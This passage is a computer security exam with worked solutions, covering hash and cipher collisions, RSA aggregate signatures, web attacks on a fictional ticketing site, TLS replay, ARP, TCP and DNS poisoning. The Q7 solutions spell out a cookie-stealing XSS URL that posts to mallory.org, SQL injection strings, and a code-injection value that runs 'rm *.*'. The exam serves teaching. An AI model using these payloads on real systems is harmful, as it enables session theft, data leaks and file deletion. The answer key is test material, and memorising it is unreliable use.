(C): True. Consider '1' * 127 (127 ones) and '1' * 128 (128 ones). The first input is padded
with a single one, and the second input is unchanged during padding, so they both get padded
to '1' * 128, causing a collision when they’re hashed.
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The rest of this question is independent of the previous subparts.

We’re now going to explore insecure candidates for the compression function F . For each remaining
subpart, give a collision pair (x1, x2), (y1, y2) such that F (x1, x2) = F (y1, y2) and x1∥x2 ̸= y1∥y2.

For example, if F (a, b) = a, then a valid solution is (x1, x2) = (1, 0), (y1, y2) = (1, 1).

Assumptions:
• x1, x2, y1, y2 must be exactly 128 bits each, but you may answer with a simple integer and assume
it is converted to the associated bitstring.

• There may be multiple correct answers. In the example above, (x1, x2) = (5, 7), (y1, y2) = (5, 8)
would also be correct.

• You can use AES encryption E and AES decryption D in your expressions. For example, you can
write E3(6) or D3(6).

HINT: One strategy is to set fixed values for x1, x2, y1 (e.g. x1 = 5, x2 = 6, y1 = 7), write
F (x1, x2) = F (y1, y2), and solve for y2.

Q5.4 (1 point) F (a, b) = a⊕ b

(A) Select this box to get 0.25 points and void your attempt at this subpart.

x1: Solution: 5 x2: Solution: 6

y1: Solution: 6 y2: Solution: 5

Solution: XOR is commutative, so you can just swap the two inputs around and still get the
same function output.

F (5, 6) = F (6, 5)

5⊕ 6 = 6⊕ 5

Alternate answers: Swap 5 with any other number, and/or swap 6 with any other number. For
example, (x1, x2) = (10, 11) and (x2, x1) = (11, 10).
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Q5.5 (2 points) F (a, b) = Ea(b)

(A) Select this box to get 0.25 points and void your attempt at this subpart.

x1: Solution: 5 x2: Solution: 6

y1: Solution: 7 y2: Solution: D7(E5(6))

Solution: Following the hint, plug in some fixed values x1 = 5, x2 = 6, y1 = 7, so that we
have just one unknown (y2) to solve for:

F (x1, x2) = F (y1, y2) Definition of collision
F (5, 6) = F (7, y2) Plug in fixed values for all but one input
E5(6) = E7(y2) Use definition of F

D7(E5(6)) = D7(E7(y2)) Apply D7 to both sides
D7(E5(6)) = y2 D and E cancel out

Now that we have a value for y2, we can double-check that we created a collision:

F (x1, x2) = F (y1, y2)

F (5, 6) = F (7,D7(E5(6)))

E5(6) = E7(D7(E5(6)))

= E5(6)

Both inputs create the same function output E5(6), and the two inputs are different, so we
found a collision, and we are done.

Alternate answers: All instances of 5 can be swapped with any other number. Similarly, all
insances of 6 and 7 can be swapped with any other number. There’s nothing special about
those numbers.
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Q5.6 (2 points) F (a, b) = Ea(b)⊕ a

(A) Select this box to get 0.25 points and void your attempt at this subpart.

x1: Solution: 5 x2: Solution: 6

y1: Solution: 7 y2: Solution: D7(E5(6)⊕ 5⊕ 7)

Solution: The process is very similar to the previous subpart, just with a bit of extra algebra
to handle the XOR.

Following the hint, plug in some fixed values x1 = 5, x2 = 6, y1 = 7, so that we have just one
unknown (y2) to solve for:

F (x1, x2) = F (y1, y2) Definition of collision
F (5, 6) = F (7, y2) Plug in fixed values for all but one input

E5(6)⊕ 5 = E7(y2)⊕ 7 Use definition of F
E5(6)⊕ 5⊕ 7 = E7(y2) XOR both sides by 7

D7(E5(6)⊕ 5⊕ 7) = y2 Apply D7 to both sides

Now that we have a value for y2, we can double-check that we created a collision (y1 and y2
colored for clarity):

F (x1, x2) = F (y1, y2)

F (5, 6) = F (7,D7(E5(6)⊕ 5⊕ 7))

E5(6)⊕ 5 = E7(D7(E5(6)⊕ 5⊕ 7))⊕ 7

= E5(6)⊕ 5⊕ 7⊕ 7

= E5(6)⊕ 5

Both inputs create the same function output E5(6)⊕ 5, and the two inputs are different, so we
found a collision, and we are done.

Alternate answers: All instances of 5 can be swapped with any other number. Similarly, all
insances of 6 and 7 can be swapped with any other number. There’s nothing special about
those numbers.
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Q5.7 (2 points) F (a, b) = ab mod p, where p is a large, public cryptographic prime. Assume that a, b
are converted from bitstrings to 128-bit unsigned integers during evaluation.

(A) Select this box to get 0.25 points and void your attempt at this subpart.

x1: Solution: 1 x2: Solution: 1

y1: Solution: 1 y2: Solution: 2

Solution: We just need to write two exponential expressions that are equal to each other.
Many examples exist, including:

x1
x2 = y1

y2

11 = 12

32 = 91

25 = 321

50 = 60
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Q5.8 (3 points) F (a, b) = EK(a)[:64] ∥ EK(b)[:64], where K is a fixed public constant (i.e. you can use
K in your expressions).

Note that [:64] refers to taking the first 64 bits of that value.

(A) Select this box to get 0.25 points and void your attempt at this subpart.

x1: Solution: 5 x2: Solution: 6

y1: Solution: DK(EK(5)⊕ 1) y2: Solution: 6

Solution: Once again, start with the hint. Plug in some fixed values x1 = 5, x2 = 6, y2 = 6,
so that we have just one unknown (y1) to solve for:

F (x1, x2) = F (y1, y2) Definition of collision
F (5, 6) = F (y1, 6) Fixed values for all but one input

EK(5)[:64] ∥ EK(6)[64:] = EK(y1)[:64] ∥ EK(6)[64:] Use definition of F

Note that this time, we set the third value as y2 = 6 (same as x2), instead of some third
arbitrary value (e.g. 7) like we did earlier. If we had chosen a third arbitrary value, the last 64
bits would already be different EK(6)[64:] ̸= EK(7)[64:], and a collision would be impossible.

Since the last 64 bits are already equal, we just need to set the first 64 bits equal to each other:

EK(5)[:64] = EK(y1)[:64]

The key realization here is that we just need to find a y1 such that EK(5) and EK(y1) match
in the first 64 bits only.

Since we don’t care about the last 64 bits of the encryption output, we can change them all we
want. For example, we could flip the last bit of the encryption output:

EK(5)[:64] =
(︂
EK(5)⊕ 1

)︂
[:64]

We can set the right-hand-sides of the last two equations equal, and decrypt both sides:

EK(y1) =
(︂
EK(5)⊕ 1

)︂
y1 = DK

(︂
EK(5)⊕ 1

)︂
To verify that we created a collision:

F (x1, x2) = F (y1, y2)

F (5, 6) = F (DK(EK(5)⊕ 1), 6)

EK(5)[:64] ∥ EK(6)[64:] = EK(DK(EK(5)⊕ 1)[:64] ∥ EK(6)[64:]
EK(5)[:64] = EK(DK(EK(5)⊕ 1)[:64]
EK(5)[:64] = (EK(5)⊕ 1)[:64]

And this last line is valid because the two inputs to [:64] differ in only the last bit, which gets
chopped off.
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Q6 Awesome Aggregation - Digital Signatures (12 points)
Evanbot creates a sequential aggregate signature scheme, which enables a group of users to
sequentially sign a message list.

For example, Alice starts a petition for CS161 to be a mandatory requirement. Alice signs a message list
[MA] with her private key SKA and produces an aggregate signature σA.

Bob now wants to add his name to the petition by creating a signature σAB on the message list
[MA,MB]. To do so, Bob runs AggSign:

σAB = AggSign(SKB,MB, σA, [PKA], [MA])

which first verifies the existing signature σA with the current message list [MA], and then creates a new
aggregate signature over [MA,MB]. Verifiers can then use σAB to verify that Bob signed [MA,MB]
and that Alice signed [MA].

The scheme is secure if an adversary cannot forge signatures that are not trivial extensions of existing
signatures (a trivial extension would be creating new signatures by running AggSign on existing
signatures).

Q6.1 (0.5 point) Let σ be an aggregate signature over the message list [X,Y, Z] with public keys PKA,
PKB , and PKC (Alice, Bob, Charlie), respectively.

True or False: Given σ, a verifier can conclude that Alice endorses the message Z (i.e. that Alice
actively decided to sign a list including Z).

(A) True (B) False

Solution: False, as anyone can append signatures to the aggregate (i.e. this is a trivial
extension of σA on [X]). We can only conclude that Alice signed [X].

Q6.2 (0.5 point) True or False: Given the same σ, a verifier can conclude that Bob endorses the message
X (i.e. that Bob actively decided to sign a list including X).

(A) True (B) False

Solution: True, since Bob’s signed sublist is [X,Y ], we can conclude he endorses X .
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The next two subparts are independent from the rest of the question.
Q6.3 (2 points) Consider basic RSA signatures, with PK = (e,N), SK = d, and

Sign(SK,M) = S ≡Md mod N . Select the verifying expression.

NOTE: X
?≡ Y mod N returns true if X ≡ Y mod N , otherwise false.

(A) Sd ?≡M mod N

(B)M e ?≡ S mod N

(C) Se ?≡M mod N

(D)Md ?≡ S mod N

Q6.4 (3 points) Is the RSA signature scheme from the previous subpart EU-CMA (also known as EU-CPA)
secure?

(A) Yes (B) No

If you selected “No”, give a message/signature pair (M,S) with 1 < M < N − 1 such that S is a
valid signature for M without using the private key d.

Solution: See Discussion 6 Q1 for more information on this existential forgery.

M = Solution: Se mod N S = Solution: 4 (arbitrary)

Solution: Alternatively, you can refer to an existing message/signature pair (M ′, S′) and
giveM = (M ′)2, S = (S′)2 or similar.

Now we will construct sequential aggregate signatures using hash-based RSA signatures. Each user has
an RSA keypair with secret key di and public key PKi = (ei, Ni). Assume that Ni > Ni−1 for i > 1.

For the rest of this question, let hk = H([PK1, . . . , PKk], [M1, . . . ,Mk]) for brevity.

AggSign(dk,Mk, σ, [PK1, . . . , PKk−1], [M1, . . . ,Mk−1]):

1. Verify that AggVerify(σ, [PK1, . . . , PKk−1], [M1, . . . ,Mk−1]) = true
2. Return (σ +H([PK1, . . . , PKk], [M1, . . . ,Mk]))

dk ≡ (σ + hk)
dk mod Nk

AggVerify(σ, [PK1, . . . , PKk], [M1, . . . ,Mk]):

1. Evaluate T = [ANSWER TO Q6.5]
2. Let σ′ = T− [ANSWER TO Q6.6] modNk

3. Return AggVerify(σ′, [PK1, . . . , PKk−1], [M1, . . . ,Mk−1])

The base case of a single-entry list is signed (H(PK1,M1)
d1 ≡ hd11 mod N1) and verified as a normal

hash-based RSA signature.
Fill in the blanks of the AggVerify algorithm.

Q6.5 (2 points) (A) σek mod Nk

(B) σdk mod Nk

(C) σ − hk mod Nk

(D) (σ − hk)
ek mod Nk
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Q6.6 (1 point) (A) hekk
(B) σ − hk

(C) h−1
k

(D) hk

Solution: From the AggSign algorithm we have σ = (σ′ +hk)
dk mod Nk . We first raise σ to

the power of ek, since RSA’s fundamental idea is that (xe)d ≡ (xd)e ≡ x mod N . Therefore

σek mod Nk

≡ ((σ′ + hk)
dk)ek mod Nk

≡ σ′ + hk mod Nk

Then subtracting hk from T gives σ′, the next “layer” of the aggregate signature that is passed
into the recursive call.

Q6.7 (3 points) Which option best explains why AggVerify is secure?

(A) Only those with access to the k-th private key dk can verify their corresponding step.
(B) If any AggSign in the recursive chain was invalid, then the next modulus Nk−1 will be
malformed.
(C) Basic RSA signatures aren’t malleable (e.g. you can’t derive Sign(d,M2) from
Sign(d,M)).
(D) If any AggSign in the recursive chain was invalid, then the corresponding value for σ′

as derived in Step 2 of AggVerify will be garbage.

Solution: A): Private keys cannot be used to verify a signature (by definition, since anyone
can verify a digital signature with the associated public key).

B) The modulus list is passed in as a separate argument unaffected by the value of σ, since the
verifier knows the public keys ahead of time.

C) Basic RSA signatures are malleable, but this is irrelevant either way.

D) This is correct — suppose that we set some value σbad as the final aggregate signature. Then
σek
bad will (informally) be a random-looking (garbage value) modNk . Therefore subtracting hk

from σek
bad for the next value of σ′ will also result in garbage value. Repeat for each remaining

step and we see that the base case RSA signature verification fails, since we are verifying a
garbage value for the signature. If the underlying RSA signature scheme is secure (hash-based
is), this will fail, causing the overall AggVerify to fail.
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Q7 SQL < PrQL (10 points)
EvanBot has created a concert ticketing app called Boxapp, stored at boxapp.cs161.org. Each user
has a seat number for one or more concert(s) they are attending.

To find their seat number for a selected concert, a user visits boxapp.cs161.org/search?q=____,
replacing the blank with the concert name. Boxapp then places the un-sanitized search query on the
page (e.g. “You searched for: ___”), followed by the user’s seat number for that concert.

The website uses session tokens to authenticate users. Session tokens are stored as cookies with
Domain=cs161.org, Path=/, HttpOnly=False, Secure=True.

Q7.1 (2 points) Mallory is an on-path attacker. Which actions (by themselves) would allow Mallory to
learn the value of a logged-in user’s session token? Select all that apply.

(A) The user loads Mallory’s site at https://mallory.org.

(B) The user loads Mallory’s site at https://mallory.cs161.org.

(C) The user loadsMallory’s site at https://boxapp.cs161.org/mallory/custom_server.

(D) The user loads http://boxapp.cs161.org.

(E) The user loads https://boxapp.cs161.org.

(F) None of the above

Solution: In the first 3 choices, Mallory controls the website, so we just need to check if the
cookie gets sent to Mallory’s site according to cookie policy.

(A): False. A cookie with domain cs161.org will not be sent to mallory.org.

(B): True. A cookie with domain cs161.org and path / will be sent to mallory.cs161.org.

(C): True. A cookie with domain cs161.org and path / will be sent to
box.cs161.org/mallory/custom_server.

In the last two choices, Mallory does not control the website, so she would need to use her
on-path ability to read the cookie as it’s being sent across the network.

(D): False. The cookie is not sent at all because the cookie has Secure=True, and the connection
is made over HTTP. Mallory cannot see the token sent across the network because it’s not
sent at all.

(E): False. The cookie is sent over the network, but the connection uses HTTPS, so Mallory
cannot see the token sent across the network (because it’s encrypted).
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Q7.2 (2 points) Mallory wants to steal a user’s session token using reflected XSS. Construct a URL
that sends the session token to mallory.org when a user clicks on the URL. You may use the
post(url, payload) JavaScript function to send POST requests.

Solution:

boxapp.cs161.org/search?q=<script>post(mallory.org,
document.cookie)</script>

This is a standard reflected XSS attack. Anything in the search?q= URL parameter gets
displayed to the user who clicks on the URL.

We can use script tags in the URL parameter so that any user clicking on the URL will receive
some Javascript that gets run.

The Javascript we want to execute is sending the user’s session token to mallory.org. Fol-
lowing the hint, we can use post(mallory.org, document.cookie) to send the cookie to
Mallory.
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Boxapp uses the two SQL tables shown below:

CREATE TABLE sessions (
username String,
token String

);

CREATE TABLE userdata (
username String,
concert String,
seatno String

);

When a logged-in user performs a search, the server executes the following two SQL queries:

1. SELECT username FROM sessions WHERE token = '$token';
where $token is the user’s session token.

2. SELECT seatno FROM userdata WHERE username = '$result' AND concert='$query';
where $result is the username from the first query, and $query is the user’s search query.

Q7.3 (1 point) Select all values for $query that would cause the server to returns all seatno entries
from userdata.

Reminder: x AND y OR z = (x AND y) OR z in SQL.

(A) ' OR 1=1; --
(B) ' AND username='';--

(C) '; --
(D) None of the above

Solution:

In this question, we’re only injecting into the second query, so we can assume the first query
returns some valid token (though it doesn’t really affect the answers).

(A): True.

SELECT seatno FROM userdata WHERE
username = 'token' AND concert='' OR 1=1; --';

This will return all rows because the WHERE clause always evaluates to true thanks to the OR
1=1 condition.

(B): False.

SELECT seatno FROM userdata WHERE
username = 'token' AND concert='' AND username=''; --';

This only returns rows where the three ANDed conditions are true, which is not necessarily
all rows.

(C): False.

SELECT seatno FROM userdata WHERE
username = 'token' AND concert=''; --';

This only returns rows where the two ANDed conditions are true, which is not necessarily all
rows.
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Q7.4 (2 points) Mallory now wants to inject a value for Alice’s session token, such that the server will
return Bob’s data whenever Alice uses the search function. Bob is not logged in.

Give an value for Alice’s session token, such that for any search, the server returns seatno entries
for username 'bob'.

Solution:

Solution 1: ' UNION SELECT 'bob'; --

This leads to:

SELECT username FROM sessions
WHERE token = '' UNION SELECT 'bob'; --';

This query is hard-coded to return the string 'bob', which then gets plugged into the second
query to return seatno entries for Bob.

Solution 2: ' UNION SELECT 'bob

This leads to:

SELECT username FROM sessions
WHERE token = '' UNION SELECT 'bob';

Same behavior as Solution 1 above.

Invalid solution: ' OR username = 'bob'; -- or similar

This doesn’t work because Bob is not logged in, so the sessions table does not have an entry
with username = 'bob'.

Q7.5 (3 points) EvanBot writes code for deleting a user, and wants to parameterize the SQL query.
However, the server is written in Go, and EvanBot only knows how to do parameterized SQL
in Python. EvanBot decides to invoke the Python code in the Go code using an eval_python
function:

1 eval_python( // A function in Go.
2
3 // A raw string passed to the Python interpreter.
4 "safeSQL('DELETE FROM userdata WHERE username = ?', ['x'])"
5
6 )

where x is provided by the user and substituted into the raw string before calling eval_python.

SQL injection is no longer possible, but another attack is possible. In 10 words or fewer, briefly
describe or name the attack.

Solution: The attacker can inject python code. For example:
']); os.system("rm *.*") #
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Q8 Pon de Replay – TLS (10 points)
EvanBot wants to design a new TLS handshake (completely replacing the standard TLS handshake).

For this question, a replay attack from server to client means:

• A MITM attacker records all server-to-client messages (handshake and data) in a connection.
• Later, a client initiates a new connection and the attacker replays all the recorded server-to-client
messages, with no modifications. (The attacker blocks all legitimate server messages.)

• The attack succeeds if the client accepts the replayed data.
• A replay attack from client to server is the same with roles swapped, i.e. an attacker replays a
client transcript to the server.

Client Server

C, ga mod p

gb mod p

1. Client generates a random 128-bit C and a random
Diffie-Hellman secret a, and sends C and ga mod p.

2. Server generates a random Diffie-Hellman secret b and
sends gb mod p.

3. Both parties compute SessionKey = H
(︁
gab mod p ∥C

)︁
.

SessionKey is used to derive the symmetric keys for the
session.

4. After the connection ends, the client deletes a, the server
deletes b, and both delete SessionKey.
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Q8.1 (5 points) Select all true statements about this scheme.

(A) A MITM adversary can perform a replay attack from server to client.
(B) A MITM adversary can perform a replay attack from client to server.
(C) A passive eavesdropper can read encrypted data sent after the handshake completes.
(D) A MITM can tamper with the handshake to read and modify encrypted data in both
directions.
(E) This scheme has forward secrecy.
(F) None of the above.

Solution:

(A): False. The messages in the original connection were encrypted with H(gaold b mod
p ∥ Cold), where Cold was chosen by the client in the original connection.

However, the messages in the new replayed connection should be encrypted with
H(ganewb mod p ∥ Cnew), where Cnew was chosen by the client in the new connection. The
client is decrypting using this new session key, but the replayed server-to-client messages use
the old session key, so the replayed data will not be accepted.

Also, the client will choose a different value of a in the two connections, so the two session
keys also use different values of a.

(B): False. The messages in the original connection were encrypted withH(ga bold mod p ∥ C),
where bold was chosen by the server in the original connection.

However, the messages in the new replayed connection should be encrypted with
H(ga bnew mod p ∥ C), where bnew was chosen by the server in the new connection. The
server is decrypting using this new session key, but the replayed client-to-server messages
use the old session key, so the replayed data will not be accepted.

(C): False. An on-path attacker cannot derive gab mod p because the Diffie-Hellman problem
is hard. Therefore, the attacker cannot derive the session key and cannot read the encrypted
messages.

(D): True. Recall that a MITM can interfere with a Diffie-Hellman exchange to cause both
sides to derive keys that the attacker knows. The client derives gam mod p and the server
derives gbm mod p, and the attacker knows both values. This allows the attacker to derive the
same session key as the client, and the same session key as the server. Now, the attacker can
decrypt and tamper with any messages sent in the connection.

(E): True. An attacker recording ga mod p and gb mod p does not know enough to derive
gab mod p. Even if the attacker hacks into the server later, a and b have been deleted, so the
attacker cannot re-derive the session key even in the future.
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Client Server

Certificate

RSAEnc(PKserver, S)

NC

NC + 1

1. Server sends a certificate for its long-term RSA public key,
PKserver. Client verifies this certificate.

2. Client generates a random 128-bit S and sends
RSAEnc(PKserver, S).

3. Client generates and sends a random 128-bit nonce NC .

4. Server sends NC + 1. Client verifies that this value is one
more than the client’s generated NC .

5. Both parties compute SessionKey = H
(︁
S ∥ NC

)︁
.

SessionKey is used to derive the symmetric keys for the
session.

6. After the connection ends, both parties delete S and
SessionKey.
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Q8.2 (5 points) Select all true statements about this scheme.

(A) A MITM adversary can perform a replay attack from server to client.
(B) A MITM adversary can perform a replay attack from client to server.
(C) A passive eavesdropper can read encrypted data sent after the handshake completes.
(D) A MITM can tamper with the handshake to read and modify encrypted data in both
directions.
(E) This scheme has forward secrecy.
(F) None of the above.

Solution:

(A): False. The recorded and replayed messages will be encrypted withH(Sold ∥NC old), where
Sold and NC old chosen by the client in the first connection.

However, in the new connection, the client picks a different Snew and NC new, and expects to
see messages encrypted with H(Snew ∥ NC new).

The replayed server-to-client messages are encrypted with the old session key, but the client
is decrypting using the new session key, so the client will not accept the replayed messages.

(B): True. In both the original and the replayed handshake, the values of S and NC will be
the same, since the attacker is replaying those two values in the replayed handshake. As a
result, the server will derive SessionKey = H(S ∥ NC) in both handshakes, so the replayed
client-to-server messages will be accepted by the server.

(C): False. The on-path attacker does not know the server’s private key, so they cannot learn
S and do not know the session key.

(D): False. The attacker is unable to read/modify encrypted messages from the server to the
client.

The attacker could try to learn the session key and use it to read/modify server-to-client
messages. However, this is impossible because S is encrypted and the attacker does not know
the server’s private key.

The attacker could try to force the client to derive a different session key, and then use that key
to inject messages to the client. However, this is also impossible because the client chooses S
and NC , and the attacker has no way to make the client change their decision.

(E): False. Compromising the server will give the attacker access to the private keys for
the long-term public key PKserver . They can then decrypt old values of S from recorded
handshakes and re-derive the session key (the other component NC is already recorded).
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Q9 ARP, it’s in the game! (7 points)

Q9.1 (1 point) For this subpart only, suppose we change ARP requests to include a 128-bit random
number. The sender only accepts an ARP response if the response includes the number from the
request.

Consider an on-path attacker that can send at most 200 spoofed responses before the legitimate
response arrives. Is this modified ARP scheme secure against ARP spoofing?

(A) Yes, because the attacker cannot guess the random number with non-negligible probabil-
ity.
(B) Yes, because the attacker does not know where to send the spoofed ARP response.
(C) No, because the attacker can see the original ARP request and learn the random number.
(D) No, because the attacker can guess the random number with non-negligible probability.

Solution: ARP requests are broadcast, so the on-attacker can see the original ARP request
and learn the random number. The attacker does not need to guess the random number in
their spoofed response.

The attacker just needs to win the race condition (as in standard ARP), and the question states
that the attacker can send spoofed responses before the legitimate response arrives.

Q9.2 (1 point) Suppose a user is the victim of an ARP spoofing attack by an on-path attacker. Select all
true statements.

(A) The attacker can eavesdrop on the user’s TLS connections.
(B) The attacker can become a MITM for the user’s HTTP connections.
(C) The attacker can spoof valid DNSSEC responses.
(D) None of the above.

Solution:

(A): False. TLS is end-to-end encrypted.

(B): True. HTTP is not end-to-end encrypted, and ARP spoofing allows an adversary to to be a
MITM.

(C): False. DNSSEC records are signed, and the attacker cannot forge spoofed responses.
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Q9.3 (1 point) Which fields are included in a DHCP offer from the router? Select all that apply.
(A) User’s assigned IP address
(B) User’s assigned MAC address
(C) Router’s IP address

(D) DNS server’s IP address
(E) DNS server’s MAC address
(F) None of the above

Solution: The DHCP offer includes the user’s assigned IP address, the router’s IP address,
and the DNS server’s IP address.

The user’s MAC address is burned into their hardware, so it is not assigned or sent during
DHCP.

The DNS server’s MAC address is not sent during DHCP. The user would need to do a separate
ARP lookup to convert the DNS server’s IP address into a corresponding MAC address.

Q9.4 (2 points) Is it true that user requests over UDP are more vulnerable to spoofing attacks from
off-path attackers than user requests over TCP?

(A) Yes, because an off-path attacker needs to guess fewer fields to spoof a UDP packet.
(B) Yes, because TCP is a best-effort protocol unlike UDP.
(C) No, because UDP’s simple checksum prevents creation of valid spoofed packets.
(D) No, because UDP’s unreliable delivery means spoofed packets are likely to be discarded.

Solution: TCP requires guessing sequence numbers, while UDP does not (because it has no
sequence numbers).

Note that (B) is incorrect because TCP is not best-effort.

Q9.5 (2 points) Does TCP provide confidentiality? Select the best option.

(A) Yes, because TCP’s three-way handshake encrypts the data stream.
(B) Yes, because TCP’s sequence numbers ensure that only the recipient can read the data.
(C) No, because TCP’s checksum mechanism is not a secure MAC.
(D) No, because TCP does not encrypt its payload.

Solution: Note that (C) is not the best answer because checksums and MACs are related to
integrity, not confidentiality.
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Q10 * Despite everything, it’s still DNS (11 points)
Jonah wants to learn some IP addresses using DNS. For this question, no zones exist besides the ones in
the diagram below.

Root

.net .com .edu

codabot.net google.com tanya.edu berkeley.edu

Q10.1 (1 point) Assuming the DNS cache begins empty, how many DNS requests does the recursive
resolver need to send to learn the IP address of evanbot.tanya.edu?

(A) 1 (B) 2 (C) 3 (D) 4

Solution: This works like the standard example DNS lookup from lecture.

The resolver starts by asking the root name server, and is redirected to the .edu name server.

The resolver then asks the .edu name server, and is redirected to the tanya.edu name server.

Finally, the server asks the tanya.edu name server, and receives the answer.

Q10.2 (1 point) Assuming all records from the previous subpart remain in the cache, how many DNS
requests does the recursive resolver need to send to learn the IP address of cookies.tanya.edu?

(A) 1 (B) 2 (C) 3 (D) 4

Solution: The resolver’s cache already has information about the tanya.edu name server,
so the resolver can issue a single query to the tanya.edu name server and receive the answer.

The name server for tanya.edu has been hacked by an attacker. They create a malicious A record
mapping eecs.berkeley.edu to their IP of 161.0.0.1. The attacker then adds this A record to the
Additional section of every reply from the tanya.edu name server.

For all remaining subparts, assume that bailiwick checking is enabled, and the DNS cache starts
empty each time. Each subpart is independent (i.e. they all start with an empty cache).

Q10.3 (1 point) If Jonah’s recursive resolver performs a DNS lookup for www.codabot.net, will the
resolver’s cache contain an entry for eecs.berkeley.edu?

(A) Yes (B) No

Solution: No. This lookup requires making requests to the root name server, the .net name
server, and the codabot.net name server. The malicious name server is never contacted, so
the injected record is never sent to Jonah’s resolver.
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Q10.4 (1 point) If Jonah’s recursive resolver performs a DNS lookup for evanbot.tanya.edu, will the
resolver’s cache contain an entry for eecs.berkeley.edu?

(A) Yes (B) No

Solution: No. The malicious record is sent to Jonah, but it’s not in bailiwick and is rejected.

This lookup requires making requests to the root name server, the .edu name server, and the
tanya.edu name server. The malicious tanya.edu name server is contacted, and will send
the malicious record to Jonah’s resolver.

However, bailiwick checking stops this attack because eecs.berkeley.edu is not in the
bailiwick of the tanya.edu name server.

Q10.5 (1 point) If Jonah’s resolver implements source port randomization, does the attacker need to
guess the randomized port number in their response?

(A) Yes (B) No

Solution: No. Source port randomization is used to mitigate the Kaminsky attack, since it
forces the off-path attacker to guess more bits.

However, source port randomization does not help in this attack, where the name server has
been hacked. Owen controls the name server and can see the randomized port number, so
they do not have any additional guessing to do, and the attack is not any harder for Owen.

Suppose that the hacked tanya.edu nameserver now replies to requests for evanbot.tanya.edu
with an A record containing the attacker’s IP 161.0.0.1.

Q10.6 (1 point) True or False: If Jonah’s resolver performs a DNSSEC lookup for evanbot.tanya.edu,
his resolver will cache that evanbot.tanya.edu’s IP address is 161.0.0.1.

Assume the attacker has access to the hacked name server’s keys, and the hacked name server is
still endorsed by the .edu name server.

(A) True (B) False

Solution: True. Owen can use the hacked name server’s keys to generate a valid signature
on the malicious record.

The hacked name server’s key is still endorsed by the .edu name server, so the malicious
record still has a valid path of trust back to the root name server.

The record being served (evanbot.tanya.edu) is in bailiwick for the hacked name server
(tanya.edu).
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The following two subparts are independent of all previous subparts.

An off-path attacker is performing a Kaminsky attack and can send n fake responses for each DNS
request before the legitimate response arrives. Assume source port randomization is disabled and that
negative answers (domain does not exist) are cached.

Q10.7 (3 points) In this subpart, the user loads fake.google.com only once.

What is the approximate probability that the attacker succeeds in poisoning the IP address of
www.google.com?

(A) n

216
(B) n

232
(C) n

264
(D) 1

Solution: The attacker can send n fake responses, each with a different ID. All the fake
responses can contain a poisoned record for www.google.com in the Additional section.

There are 216 possible different 16-bit IDs, and the attacker sent n guesses, so the approximate
probability of success is n

216
.

A common mistake is to treat this as a with-replacement problem and derive (1− 2−16)n, but
this is not the case. (You can intuitively rule this out by plugging in n = 216, as if the attacker
could guess all possible IDs, which should be probability 1)

Q10.8 (2 points) In this subpart, the user loads fake.google.com 200 times, one after the other.

True or False: Compared to the previous subpart, the attacker’s probability of success for the
same cache poisoning attack is strictly greater.

(A) True (B) False

Solution: False. The first time the user loads fake.google.com, the attacker gets n chances
to guess the correct ID number.

If the attacker fails, the non-existence of fake.google.com gets cached, so on the subsequent
199 loads, no DNS records get sent, and the attacker gets no further chances to guess the
correct ID number.

Therefore, the attacker still has n chances to guess the correct ID number, just like before, and
the probability of success has not increased.

Everything below this line will not be graded.
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Post-Exam Activity: Hat Comment Box
Congratulations for making it to the end of the exam! Feel free to
leave any final thoughts, comments, feedback, or doodles here:

If you feel like there was an ambiguity in the exam, please put it in the box above. For ambiguities, you
must qualify your answer and provide an answer for both interpretations. For example, “if the question is
asking about A, then my answer is X, but if the question is asking about B, then my answer is Y”. You will
only receive credit if it is a genuine ambiguity and both of your answers are correct. We will only look at
ambiguities if you request a regrade.
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